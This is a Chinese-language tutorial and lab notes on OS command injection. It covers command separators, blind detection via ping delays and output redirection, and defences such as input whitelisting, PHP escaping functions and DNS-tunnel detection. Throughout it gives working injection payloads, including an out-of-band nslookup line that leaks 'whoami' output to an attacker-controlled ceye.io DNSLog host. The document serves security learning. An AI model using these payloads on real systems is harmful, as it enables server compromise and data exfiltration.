基础知识
OS-command 注入
操作系统命令注入(也称为外壳程序注入)是一个Web安全漏洞,它使攻击者可以在运行应用程序的服务器上执行任意操作系统(OS)命令,并且通常会完全破坏该应用程序及其所有数据。攻击者通常可以利用OS命令注入漏洞来破坏托管基础结构的其他部分,利用信任关系将攻击转移到组织内的其他系统。
利用方法
& 或;或|
使用&(; 或 | )来进行多条命令的执行
场景
https://insecure-website.com/stockStatusproductID=381&storeID=29
对ID进行注入
https://insecure-website.com/stockStatus?productID=381&storeID=& echo aiwefwlguh &
假设此输入是通过productID参数提交的,则应用程序执行的命令为:
stockreport.pl & echo aiwefwlguh & 29
则得到输出
Error - productID was not provided
aiwefwlguh
29: command not found
输出的三行表明:
stockreport.pl
执行 原始命令时没有预期的参数,因此返回了错误消息。echo
执行 注入的命令,并在输出中回显提供的字符串。- 原始参数
29
作为命令执行,从而导致错误
OS command 盲注
应用不会对注入进行响应,无法明显判断是否存在注入
利用方法
-
使用时间延迟检测盲注OS命令注入
& ping -c 10 127.0.0.1 &
它使您可以指定要发送的ICMP数据包的数量,从而指定该命令运行所花费的时间,此命令将导致应用程序ping其环回网络适配器10秒钟。
-
通过重定向输出来利用盲目的OS命令注入(需要猜解系统目录)
您可以将注入命令的输出重定向到Web根目录下的文件中,然后可以使用浏览器进行检索。例如,如果应用程序从文件系统location提供静态资源
/var/www/static
,那么您可以提交以下输入:& whoami > /var/www/static/whoami.txt &
的
>
字符发送从所述输出whoami
命令指定的文件。然后,您可以使用浏览器来获取https://vulnerable-website.com/whoami.txt
文件,并查看注入命令的输出。 -
利用带外(OAST)技术利用盲目的OS命令注入
在线站点
在线站点2
个人DNSLog搭建
您可以使用注入的命令,通过OAST技术触发与您控制的系统的带外网络交互。例如:
& nslookup `whoami`.8rxxx.ceye.io &
此有效负载使用
nslookup
命令对指定的域进行DNS查找。攻击者可以监视是否发生了指定的查找,从而检测到命令已成功注入。 -
注入OS命令的方式
许多字符用作命令分隔符,使命令可以链接在一起。以下命令分隔符在Windows和基于Unix的系统上均可使用:
-
&
-
&&
-
|
-
||
以下命令分隔符仅在基于Unix的系统上工作:
;
- 换行符(
0x0a
或\n
)
在基于Unix的系统上,您还可以使用反引号或美元字符在原始命令内对注入的命令执行内联执行:
-
` 注入命令`
-
$(
注入命令)
-
防御方法
永远不要从应用程序层代码中调用OS命令
如果认为无法避免使用用户提供的输入来调用OS命令,则必须执行强输入验证。有效验证的一些示例包括:
-
根据允许值的白名单进行验证。
-
验证输入是否为数字。
-
验证输入仅包含字母数字字符,不包含其他语法或空格。
把主机名超过50个字符的 DNS 请求作为识别 DNS 隧道的特征(正常的域名满足 Zipf 定律,而走 DNS 隧道的域名遵循的是随机分布)
通过检测单位时间内 DNS 报文流速率来检测是否存在DNS隧道,利用检测 txt 类型的 DNS 报文来发现僵尸网络的通信情况。Dns隧道通信一般常用的编码方式 Base64、Binary、Hex 编码等,请求的 Type 一般为 txt(为了返回的时候能够加入更多的信息)payload 部分一般为子域名
os-command-injection
利用/绕过 PHP escapeshellarg/escapeshellcmd函数
带外注入(OOB)
演练
OS Command Injection
-
low
www.nsa.gov;whoami #www.nsa.gov&whoami
-
mid
www.nsa.gov | whoami
-
high
? commix (系统命令注入漏洞自动化测试工具)
function commandi_check_2($data) { return escapeshellcmd($data);// escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 // 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。//反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义//在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。 } // escapeshellarg// 1.确保用户只传递一个参数给命令// 2.用户不能指定更多的参数// 3.用户不能执行不同的命令 // escapeshellcmd// 1.确保用户只执行一个命令// 2.用户可以指定不限数量的参数// 3.用户不能执行不同的命令
OS Command Injection Blind
- low
127.0.0.1 & ping -c 10 127.0.0.1 &
外帶注入
127.0.0.1 & ping 8robx.ceye.io &
-
mid
127.0.0.1 | ping 8robx.ceye.io
-
high
commix